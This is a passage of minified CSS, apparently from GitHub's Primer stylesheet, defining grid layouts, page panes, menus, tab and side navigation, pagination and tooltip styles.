.Layout-sidebar{grid-row:1}.Layout.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.Layout.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.Layout.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.Layout.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.Layout.Layout--divided{--Layout-gutter: 0}.Layout.Layout--divided .Layout-divider{height:1px;grid-row:2}.Layout.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.Layout.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.Layout.Layout--divided .Layout-main{grid-row:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}}@media(max-width: calc(768px - 0.02px)){.Layout.Layout--flowRow-until-md{grid-auto-flow:row;grid-template-columns:1fr !important}.Layout.Layout--flowRow-until-md .Layout-sidebar,.Layout.Layout--flowRow-until-md .Layout-divider,.Layout.Layout--flowRow-until-md .Layout-main{width:100% !important;grid-column:1 !important}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.Layout.Layout--flowRow-until-md.Layout--divided{--Layout-gutter: 0}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-divider{height:1px;grid-row:2}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-main{grid-row:3/span 1}.Layout.Layout--flowRow-until-md.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.Layout.Layout--flowRow-until-md.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}}@media(max-width: calc(1012px - 0.02px)){.Layout.Layout--flowRow-until-lg{grid-auto-flow:row;grid-template-columns:1fr !important}.Layout.Layout--flowRow-until-lg .Layout-sidebar,.Layout.Layout--flowRow-until-lg .Layout-divider,.Layout.Layout--flowRow-until-lg .Layout-main{width:100% !important;grid-column:1 !important}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.Layout.Layout--flowRow-until-lg.Layout--divided{--Layout-gutter: 0}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-divider{height:1px;grid-row:2}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-main{grid-row:3/span 1}.Layout.Layout--flowRow-until-lg.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.Layout.Layout--flowRow-until-lg.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}}.Layout .Layout-sidebar{grid-column:1}.Layout .Layout-divider{display:none}.Layout .Layout-main{grid-column:2/span 2}@media(min-width: 1012px){.Layout{--Layout-gutter: 24px}}.Layout.Layout--gutter-none{--Layout-gutter: 0px}.Layout.Layout--gutter-condensed{--Layout-gutter: 16px}@media(min-width: 1012px){.Layout.Layout--gutter-spacious{--Layout-gutter: 32px}}@media(min-width: 1280px){.Layout.Layout--gutter-spacious{--Layout-gutter: 40px}}@media(min-width: 544px){.Layout{--Layout-sidebar-width: 220px}}@media(min-width: 768px){.Layout{--Layout-sidebar-width: 256px}}@media(min-width: 1012px){.Layout{--Layout-sidebar-width: 296px}}@media(min-width: 768px){.Layout.Layout--sidebar-narrow{--Layout-sidebar-width: 240px}}@media(min-width: 1012px){.Layout.Layout--sidebar-narrow{--Layout-sidebar-width: 256px}}@media(min-width: 1012px){.Layout.Layout--sidebar-wide{--Layout-sidebar-width: 320px}}@media(min-width: 1280px){.Layout.Layout--sidebar-wide{--Layout-sidebar-width: 336px}}.Layout.Layout--sidebarPosition-start .Layout-sidebar{grid-column:1}.Layout.Layout--sidebarPosition-start .Layout-main{grid-column:2/span 2}.Layout.Layout--sidebarPosition-end{grid-template-columns:minmax(0, calc(100% - var(--Layout-sidebar-width) - var(--Layout-gutter))) 0 auto}.Layout.Layout--sidebarPosition-end .Layout-main{grid-column:1}.Layout.Layout--sidebarPosition-end .Layout-sidebar{grid-column:2/span 2}.Layout.Layout--divided .Layout-divider{display:block;grid-column:2;width:1px;margin-right:-1px;background:var(--color-border-default)}.Layout.Layout--divided .Layout-main{grid-column:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-end .Layout-sidebar{grid-column:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-end .Layout-main{grid-column:1}.Layout-divider{display:none;width:1px}.Layout-sidebar{width:var(--Layout-sidebar-width)}.Layout-main{min-width:0}.Layout-main .Layout-main-centered-md,.Layout-main .Layout-main-centered-lg,.Layout-main .Layout-main-centered-xl{margin-right:auto;margin-left:auto}.Layout-main .Layout-main-centered-md>.container-md,.Layout-main .Layout-main-centered-md>.container-lg,.Layout-main .Layout-main-centered-md>.container-xl,.Layout-main .Layout-main-centered-lg>.container-md,.Layout-main .Layout-main-centered-lg>.container-lg,.Layout-main .Layout-main-centered-lg>.container-xl,.Layout-main .Layout-main-centered-xl>.container-md,.Layout-main .Layout-main-centered-xl>.container-lg,.Layout-main .Layout-main-centered-xl>.container-xl{margin-left:0}.Layout-main .Layout-main-centered-md{max-width:calc(768px + var(--Layout-sidebar-width) + var(--Layout-gutter))}.Layout-main .Layout-main-centered-lg{max-width:calc(1012px + var(--Layout-sidebar-width) + var(--Layout-gutter))}.Layout-main .Layout-main-centered-xl{max-width:calc(1280px + var(--Layout-sidebar-width) + var(--Layout-gutter))}:root{--Layout-pane-width: 220px;--Layout-content-width: 100%;--Layout-template-columns: 1fr var(--Layout-pane-width);--Layout-template-areas: "content pane";--Layout-column-gap: 16px;--Layout-row-gap: 16px;--Layout-outer-spacing-x: 0px;--Layout-outer-spacing-y: 0px;--Layout-inner-spacing-min: 0px;--Layout-inner-spacing-max: 0px}.PageLayout{display:block;margin:var(--Layout-outer-spacing-y) var(--Layout-outer-spacing-x)}@media(min-width: 768px){.PageLayout.PageLayout--panePos-start{--Layout-template-columns: var(--Layout-pane-width) minmax(0, calc(100% - var(--Layout-pane-width) - var(--Layout-column-gap)));--Layout-template-areas: "pane content"}.PageLayout.PageLayout--panePos-end{--Layout-template-columns: minmax(0, calc(100% - var(--Layout-pane-width) - var(--Layout-column-gap))) var(--Layout-pane-width);--Layout-template-areas: "content pane"}.PageLayout .PageLayout-header--hasDivider{padding-bottom:max(var(--Layout-row-gap),var(--Layout-inner-spacing-min));border-bottom:1px solid var(--color-border-default)}.PageLayout .PageLayout-footer--hasDivider{padding-top:max(var(--Layout-row-gap),var(--Layout-inner-spacing-min));border-top:1px solid var(--color-border-default)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-start .PageLayout-pane{border-right:1px solid var(--color-border-default)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-start:not(.PageLayout--columnGap-none) .PageLayout-pane{padding-right:calc(var(--Layout-column-gap) - 1px);margin-right:calc(var(--Layout-column-gap)*-1)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-start:not(.PageLayout--columnGap-none) .PageLayout-content{margin-left:var(--Layout-column-gap)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-end .PageLayout-pane{border-left:1px solid var(--color-border-default)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-end:not(.PageLayout--columnGap-none) .PageLayout-pane{padding-left:calc(var(--Layout-column-gap) - 1px);margin-left:calc(var(--Layout-column-gap)*-1)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-end:not(.PageLayout--columnGap-none) .PageLayout-content{margin-right:var(--Layout-column-gap)}.PageLayout .PageLayout-pane--sticky{position:sticky;top:0;max-height:100vh;overflow:auto;scrollbar-width:thin}@supports(max-height: 100dvh){.PageLayout .PageLayout-pane--sticky{max-height:100dvh}}.PageLayout [class^=PageLayout-content-centered-]{max-width:calc(var(--Layout-content-width) + var(--Layout-pane-width) + var(--Layout-column-gap));margin-right:auto;margin-left:auto}.PageLayout.PageLayout--hasPaneDivider [class^=PageLayout-content-centered-]{max-width:calc(var(--Layout-content-width) + var(--Layout-pane-width) + var(--Layout-column-gap)*2)}.PageLayout.PageLayout--panePos-start [class^=PageLayout-content-centered-]>[class^=container-]{margin-left:0}.PageLayout.PageLayout--panePos-end [class^=PageLayout-content-centered-]>[class^=container-]{margin-right:0}.PageLayout .PageLayout-content-centered-sm{--Layout-content-width: 544px}.PageLayout .PageLayout-content-centered-md{--Layout-content-width: 768px}.PageLayout .PageLayout-content-centered-lg{--Layout-content-width: 1012px}.PageLayout .PageLayout-content-centered-xl{--Layout-content-width: 1280px}}@media(min-width: 768px)and (min-width: 544px){.PageLayout{--Layout-pane-width: 220px}}@media(min-width: 768px)and (min-width: 768px){.PageLayout{--Layout-pane-width: 256px}}@media(min-width: 768px)and (min-width: 1012px){.PageLayout{--Layout-pane-width: 296px}}@media(min-width: 768px)and (min-width: 768px){.PageLayout.PageLayout--paneWidth-narrow{--Layout-pane-width: 240px}}@media(min-width: 768px)and (min-width: 1012px){.PageLayout.PageLayout--paneWidth-narrow{--Layout-pane-width: 256px}}@media(min-width: 768px)and (min-width: 1012px){.PageLayout.PageLayout--paneWidth-wide{--Layout-pane-width: 320px}}@media(min-width: 768px)and (min-width: 1280px){.PageLayout.PageLayout--paneWidth-wide{--Layout-pane-width: 336px}}@media(max-width: 767.98px){.PageLayout.PageLayout--responsive-stackRegions{--Layout-template-columns: 1fr;--Layout-template-areas: "content" "pane"}.PageLayout.PageLayout--responsive-stackRegions.PageLayout--responsive-panePos-start{--Layout-template-areas: "pane" "content"}.PageLayout.PageLayout--responsive-separateRegions{--Layout-template-columns: 1fr;--Layout-template-areas: "content"}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-content{--Layout-template-areas: "content"}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-content .PageLayout-pane{display:none}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane{--Layout-template-areas: "pane"}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .PageLayout-content{display:none}.PageLayout .PageLayout-region--dividerNarrow-line-before{position:relative;margin-top:var(--Layout-row-gap)}.PageLayout .PageLayout-region--dividerNarrow-line-before::before{position:absolute;left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:1px;content:"";background-color:var(--color-border-default);top:calc(-1px - var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-line-after{position:relative;margin-bottom:var(--Layout-row-gap)}.PageLayout .PageLayout-region--dividerNarrow-line-after::after{position:absolute;left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:1px;content:"";background-color:var(--color-border-default);bottom:calc(-1px - var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-before{position:relative;margin-top:calc(8px + var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-before::after{position:absolute;bottom:calc(8px * -1);left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:8px;content:"";background-color:var(--color-canvas-inset);box-shadow:inset 0 1px var(--color-border-default),inset 0 -1px var(--color-border-default);top:calc(-8px - var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-after{position:relative;margin-bottom:calc(8px + var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-after::before{position:absolute;bottom:calc(8px * -1);left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:8px;content:"";background-color:var(--color-canvas-inset);box-shadow:inset 0 1px var(--color-border-default),inset 0 -1px var(--color-border-default);bottom:calc(-8px - var(--Layout-row-gap))}}.PageLayout-wrapper{display:grid;grid:auto-flow/1fr;row-gap:var(--Layout-row-gap)}.PageLayout-columns{display:grid;column-gap:var(--Layout-column-gap);row-gap:var(--Layout-row-gap);grid-template-columns:var(--Layout-template-columns);grid-template-rows:1fr;grid-template-areas:var(--Layout-template-areas)}.PageLayout-columns .PageLayout-content{padding-right:var(--Layout-inner-spacing-max);padding-left:var(--Layout-inner-spacing-max);grid-area:content}.PageLayout-columns .PageLayout-pane{grid-area:pane}.PageLayout--outerSpacing-normal{--Layout-outer-spacing-x: 16px;--Layout-outer-spacing-y: 16px}@media(min-width: 1012px){.PageLayout--outerSpacing-normal{--Layout-outer-spacing-x: 24px;--Layout-outer-spacing-y: 24px}}.PageLayout--outerSpacing-condensed{--Layout-outer-spacing-x: 16px;--Layout-outer-spacing-y: 16px}.PageLayout--innerSpacing-normal{--Layout-inner-spacing-min: 16px;--Layout-inner-spacing-max: 16px}@media(min-width: 1012px){.PageLayout--innerSpacing-normal{--Layout-inner-spacing-max: 24px}}.PageLayout--innerSpacing-condensed{--Layout-inner-spacing-min: 16px;--Layout-inner-spacing-max: 16px}.PageLayout--columnGap-normal{--Layout-column-gap: 16px}@media(min-width: 1012px){.PageLayout--columnGap-normal{--Layout-column-gap: 24px}}.PageLayout--columnGap-condensed{--Layout-column-gap: 16px}.PageLayout--columnGap-none{--Layout-column-gap: 0px}.PageLayout--rowGap-normal{--Layout-row-gap: 16px}@media(min-width: 1012px){.PageLayout--rowGap-normal{--Layout-row-gap: 24px}}.PageLayout--rowGap-none{--Layout-row-gap: 0px}.PageLayout--rowGap-condensed{--Layout-row-gap: 16px}.PageLayout-header,.PageLayout-content,.PageLayout-pane,.PageLayout-footer{padding:var(--Layout-inner-spacing-min)}.Link{color:var(--color-accent-fg)}.Link:hover{text-decoration:underline;cursor:pointer}.Link:focus,.Link:focus-visible{outline-offset:0}.Link--primary{color:var(--color-fg-default) !important}.Link--primary:hover{color:var(--color-accent-fg) !important}.Link--secondary{color:var(--color-fg-muted) !important}.Link--secondary:hover{color:var(--color-accent-fg) !important}.Link--muted{color:var(--color-fg-muted) !important}.Link--muted:hover{color:var(--color-accent-fg) !important;text-decoration:none}.Link--onHover:hover{color:var(--color-accent-fg) !important;text-decoration:underline;cursor:pointer}.Link--secondary:hover [class*=color-fg],.Link--primary:hover [class*=color-fg],.Link--muted:hover [class*=color-fg]{color:inherit !important}.menu{margin-bottom:16px;list-style:none;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.menu-item{position:relative;display:block;padding:8px 16px;color:var(--color-fg-default);border-bottom:1px solid var(--color-border-muted)}.menu-item:first-child{border-top:0;border-top-left-radius:6px;border-top-right-radius:6px}.menu-item:first-child::before{border-top-left-radius:6px}.menu-item:last-child{border-bottom:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.menu-item:last-child::before{border-bottom-left-radius:6px}.menu-item:hover{text-decoration:none;background-color:var(--color-neutral-subtle)}.menu-item:active{background-color:var(--color-canvas-subtle)}.menu-item.selected,.menu-item[aria-selected=true],.menu-item[aria-current]:not([aria-current=false]){cursor:default;background-color:var(--color-menu-bg-active)}.menu-item.selected::before,.menu-item[aria-selected=true]::before,.menu-item[aria-current]:not([aria-current=false])::before{position:absolute;top:0;bottom:0;left:0;width:2px;content:"";background-color:var(--color-primer-border-active)}.menu-item .octicon{width:16px;margin-right:8px;color:var(--color-fg-muted);text-align:center}.menu-item .Counter{float:right;margin-left:4px}.menu-item .menu-warning{float:right;color:var(--color-attention-fg)}.menu-item .avatar{float:left;margin-right:4px}.menu-item.alert .Counter{color:var(--color-danger-fg)}.menu-heading{display:block;padding:8px 16px;margin-top:0;margin-bottom:0;font-size:inherit;font-weight:600;color:var(--color-fg-default);border-bottom:1px solid var(--color-border-muted)}.menu-heading:hover{text-decoration:none}.menu-heading:first-child{border-top-left-radius:6px;border-top-right-radius:6px}.menu-heading:last-child{border-bottom:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.tabnav{margin-top:0;margin-bottom:16px;border-bottom:1px solid var(--color-border-default)}.tabnav-tabs{display:flex;margin-bottom:-1px;overflow:auto}.tabnav-tab{display:inline-block;flex-shrink:0;padding:8px 16px;font-size:14px;line-height:23px;color:var(--color-fg-muted);text-decoration:none;background-color:transparent;border:1px solid transparent;border-bottom:0;transition:color .2s cubic-bezier(0.3, 0, 0.5, 1)}.tabnav-tab.selected,.tabnav-tab[aria-selected=true],.tabnav-tab[aria-current]:not([aria-current=false]){color:var(--color-fg-default);background-color:var(--color-canvas-default);border-color:var(--color-border-default);border-radius:6px 6px 0 0}.tabnav-tab.selected .octicon,.tabnav-tab[aria-selected=true] .octicon,.tabnav-tab[aria-current]:not([aria-current=false]) .octicon{color:inherit}.tabnav-tab:hover{color:var(--color-fg-default);text-decoration:none;transition-duration:.1s}.tabnav-tab:focus,.tabnav-tab:focus-visible{border-radius:6px 6px 0 0 !important;outline-offset:-6px}.tabnav-tab:active{color:var(--color-fg-muted)}.tabnav-tab .octicon{margin-right:4px;color:var(--color-fg-muted)}.tabnav-tab .Counter{margin-left:4px;color:inherit}.tabnav-extra{display:inline-block;padding-top:10px;margin-left:10px;font-size:12px;color:var(--color-fg-muted)}.tabnav-extra>.octicon{margin-right:2px}a.tabnav-extra:hover{color:var(--color-accent-fg);text-decoration:none}.tabnav-btn{margin-left:8px}.filter-list{list-style-type:none}.filter-list.small .filter-item{padding:6px 12px;font-size:12px}.filter-list.pjax-active .filter-item{color:var(--color-fg-muted);background-color:transparent}.filter-list.pjax-active .filter-item.pjax-active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.filter-item{position:relative;display:block;padding:8px 16px;margin-bottom:4px;overflow:hidden;font-size:14px;color:var(--color-fg-muted);text-decoration:none;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;border-radius:6px}.filter-item:hover{text-decoration:none;background-color:var(--color-canvas-subtle)}.filter-item.selected,.filter-item[aria-selected=true],.filter-item[aria-current]:not([aria-current=false]){color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.filter-item.selected:focus,.filter-item[aria-selected=true]:focus,.filter-item[aria-current]:not([aria-current=false]):focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.filter-item.selected:focus:not(:focus-visible),.filter-item[aria-selected=true]:focus:not(:focus-visible),.filter-item[aria-current]:not([aria-current=false]):focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.filter-item.selected:focus-visible,.filter-item[aria-selected=true]:focus-visible,.filter-item[aria-current]:not([aria-current=false]):focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.filter-item .count{float:right;font-weight:600}.filter-item .bar{position:absolute;top:2px;right:0;bottom:2px;z-index:-1;display:inline-block;background-color:var(--color-neutral-subtle)}.SideNav{background-color:var(--color-canvas-subtle)}.SideNav-item{position:relative;display:block;width:100%;padding:12px 16px;color:var(--color-fg-default);text-align:left;background-color:transparent;border:0;border-top:1px solid var(--color-border-muted)}.SideNav-item:first-child{border-top:0}.SideNav-item:last-child{box-shadow:0 1px 0 var(--color-border-default)}.SideNav-item::before{position:absolute;top:0;bottom:0;left:0;z-index:1;width:2px;pointer-events:none;content:""}.SideNav-item:hover{text-decoration:none;background-color:var(--color-neutral-subtle)}.SideNav-item:active{background-color:var(--color-canvas-subtle)}.SideNav-item[aria-current]:not([aria-current=false]),.SideNav-item[aria-selected=true]{background-color:var(--color-sidenav-selected-bg)}.SideNav-item[aria-current]:not([aria-current=false])::before,.SideNav-item[aria-selected=true]::before{background-color:var(--color-primer-border-active)}.SideNav-icon{width:16px;margin-right:8px;color:var(--color-fg-muted)}.SideNav-subItem{position:relative;display:block;width:100%;padding:4px 0;color:var(--color-accent-fg);text-align:left;background-color:transparent;border:0}.SideNav-subItem:hover{color:var(--color-fg-default);text-decoration:none}.SideNav-subItem[aria-current]:not([aria-current=false]),.SideNav-subItem[aria-selected=true]{font-weight:500;color:var(--color-fg-default)}.subnav{margin-bottom:20px}.subnav::before{display:table;content:""}.subnav::after{display:table;clear:both;content:""}.subnav-bordered{padding-bottom:20px;border-bottom:1px solid var(--color-border-muted)}.subnav-flush{margin-bottom:0}.subnav-item{position:relative;float:left;padding:5px 16px;font-weight:500;line-height:20px;color:var(--color-fg-default);border:1px solid var(--color-border-default)}.subnav-item+.subnav-item{margin-left:-1px}.subnav-item:hover,.subnav-item:focus{text-decoration:none;background-color:var(--color-canvas-subtle)}.subnav-item.selected,.subnav-item[aria-selected=true],.subnav-item[aria-current]:not([aria-current=false]){z-index:2;color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis);border-color:var(--color-accent-emphasis)}.subnav-item.selected:focus,.subnav-item[aria-selected=true]:focus,.subnav-item[aria-current]:not([aria-current=false]):focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.subnav-item.selected:focus:not(:focus-visible),.subnav-item[aria-selected=true]:focus:not(:focus-visible),.subnav-item[aria-current]:not([aria-current=false]):focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.subnav-item.selected:focus-visible,.subnav-item[aria-selected=true]:focus-visible,.subnav-item[aria-current]:not([aria-current=false]):focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.subnav-item:first-child{border-top-left-radius:6px;border-bottom-left-radius:6px}.subnav-item:last-child{border-top-right-radius:6px;border-bottom-right-radius:6px}.subnav-search{position:relative;margin-left:12px}.subnav-search-input{width:320px;padding-left:32px;color:var(--color-fg-muted)}.subnav-search-input-wide{width:500px}.subnav-search-icon{position:absolute;top:9px;left:8px;display:block;color:var(--color-fg-muted);text-align:center;pointer-events:none}.subnav-search-context .btn{border-top-right-radius:0;border-bottom-right-radius:0}.subnav-search-context .btn:hover,.subnav-search-context .btn:focus,.subnav-search-context .btn:active,.subnav-search-context .btn.selected{z-index:2}.subnav-search-context+.subnav-search{margin-left:-1px}.subnav-search-context+.subnav-search .subnav-search-input{border-top-left-radius:0;border-bottom-left-radius:0}.subnav-search-context .select-menu-modal-holder{z-index:30}.subnav-search-context .select-menu-modal{width:220px}.subnav-search-context .select-menu-item-icon{color:inherit}.subnav-spacer-right{padding-right:12px}.UnderlineNav{display:flex;min-height:48px;overflow-x:auto;overflow-y:hidden;box-shadow:inset 0 -1px 0 var(--color-border-muted);-webkit-overflow-scrolling:auto;justify-content:space-between}.UnderlineNav .Counter{margin-left:8px;color:var(--color-fg-default);background-color:var(--color-neutral-muted)}.UnderlineNav .Counter--primary{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis)}.UnderlineNav-body{display:flex;align-items:center;gap:8px;list-style:none}.UnderlineNav-item{position:relative;display:flex;padding:0 8px;font-size:14px;line-height:30px;color:var(--color-fg-default);text-align:center;white-space:nowrap;cursor:pointer;background-color:transparent;border:0;border-radius:6px;align-items:center}.UnderlineNav-item:hover,.UnderlineNav-item:focus,.UnderlineNav-item:focus-visible{color:var(--color-fg-default);text-decoration:none;border-bottom-color:var(--color-neutral-muted);outline-offset:-2px;transition:border-bottom-color .12s ease-out}.UnderlineNav-item [data-content]::before{display:block;height:0;font-weight:600;visibility:hidden;content:attr(data-content)}.UnderlineNav-item::before{position:absolute;top:50%;left:50%;width:100%;height:100%;min-height:48px;content:"";transform:translateX(-50%) translateY(-50%)}@media(pointer: fine){.UnderlineNav-item:hover{color:var(--color-fg-default);text-decoration:none;background:var(--color-action-list-item-default-hover-bg);transition:background .12s ease-out}}.UnderlineNav-item.selected,.UnderlineNav-item[role=tab][aria-selected=true],.UnderlineNav-item[aria-current]:not([aria-current=false]){font-weight:600;color:var(--color-fg-default);border-bottom-color:var(--color-primer-border-active);outline-offset:-8px}.UnderlineNav-item.selected::after,.UnderlineNav-item[role=tab][aria-selected=true]::after,.UnderlineNav-item[aria-current]:not([aria-current=false])::after{position:absolute;right:50%;bottom:calc(50% - 25px);width:100%;height:2px;content:"";background:var(--color-primer-border-active);border-radius:6px;transform:translate(50%, -50%)}.UnderlineNav--right{justify-content:flex-end}.UnderlineNav--right .UnderlineNav-actions{flex:1 1 auto}.UnderlineNav-actions{align-self:center}.UnderlineNav--full{display:block}.UnderlineNav--full .UnderlineNav-body{min-height:48px}.UnderlineNav-octicon{display:inline !important;margin-right:8px;color:var(--color-fg-muted);fill:var(--color-fg-muted)}.UnderlineNav-container{display:flex;justify-content:space-between}.pagination a,.pagination span,.pagination em{min-width:32px;padding:5px 10px;font-style:normal;line-height:20px;color:var(--color-fg-default);text-align:center;white-space:nowrap;vertical-align:middle;cursor:pointer;-webkit-user-select:none;user-select:none;border:1px solid transparent;border-radius:6px;transition:border-color .2s cubic-bezier(0.3, 0, 0.5, 1)}.pagination a:hover,.pagination a:focus,.pagination span:hover,.pagination span:focus,.pagination em:hover,.pagination em:focus{text-decoration:none;border-color:var(--color-border-default);transition-duration:.1s}.pagination a:active,.pagination span:active,.pagination em:active{border-color:var(--color-border-muted);transition:none}.pagination .previous_page,.pagination .next_page{color:var(--color-accent-fg)}.pagination .current,.pagination .current:hover,.pagination [aria-current]:not([aria-current=false]){color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis);border-color:transparent}.pagination .gap,.pagination .disabled,.pagination [aria-disabled=true],.pagination .gap:hover,.pagination .disabled:hover,.pagination [aria-disabled=true]:hover{color:var(--color-primer-fg-disabled);cursor:default;border-color:transparent}@supports((-webkit-clip-path: polygon(50% 0, 100% 50%, 50% 100%)) or (clip-path: polygon(50% 0, 100% 50%, 50% 100%))){.pagination .previous_page::before,.pagination .next_page::after{display:inline-block;width:16px;height:16px;vertical-align:text-bottom;content:"";background-color:currentColor}.pagination .previous_page::before{margin-right:4px;-webkit-clip-path:polygon(9.8px 12.8px, 8.7px 12.8px, 4.5px 8.5px, 4.5px 7.5px, 8.7px 3.2px, 9.8px 4.3px, 6.1px 8px, 9.8px 11.7px, 9.8px 12.8px);clip-path:polygon(9.8px 12.8px, 8.7px 12.8px, 4.5px 8.5px, 4.5px 7.5px, 8.7px 3.2px, 9.8px 4.3px, 6.1px 8px, 9.8px 11.7px, 9.8px 12.8px)}.pagination .next_page::after{margin-left:4px;-webkit-clip-path:polygon(6.2px 3.2px, 7.3px 3.2px, 11.5px 7.5px, 11.5px 8.5px, 7.3px 12.8px, 6.2px 11.7px, 9.9px 8px, 6.2px 4.3px, 6.2px 3.2px);clip-path:polygon(6.2px 3.2px, 7.3px 3.2px, 11.5px 7.5px, 11.5px 8.5px, 7.3px 12.8px, 6.2px 11.7px, 9.9px 8px, 6.2px 4.3px, 6.2px 3.2px)}}.pagination>*{display:none}.pagination>:first-child,.pagination>:last-child,.pagination>.previous_page,.pagination>.next_page{display:inline-block}@media(min-width: 544px){.pagination>:nth-child(2),.pagination>:nth-last-child(2),.pagination>.current,.pagination>.gap{display:inline-block}}@media(min-width: 768px){.pagination>*{display:inline-block}}.paginate-container{margin-top:16px;margin-bottom:16px;text-align:center}.paginate-container .pagination{display:inline-block}.tooltipped{position:relative}.tooltipped::after{position:absolute;z-index:1000000;display:none;padding:.5em .75em;font:normal normal 11px/1.5 -apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";-webkit-font-smoothing:subpixel-antialiased;color:var(--color-fg-on-emphasis);text-align:center;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-wrap:break-word;white-space:pre;pointer-events:none;content:attr(aria-label);background:var(--color-neutral-emphasis-plus);border-radius:6px;opacity:0}.tooltipped::before{position:absolute;z-index:1000001;display:none;width:0;height:0;color:var(--color-neutral-emphasis-plus);pointer-events:none;content:"";border:6px solid transparent;opacity:0}@keyframes 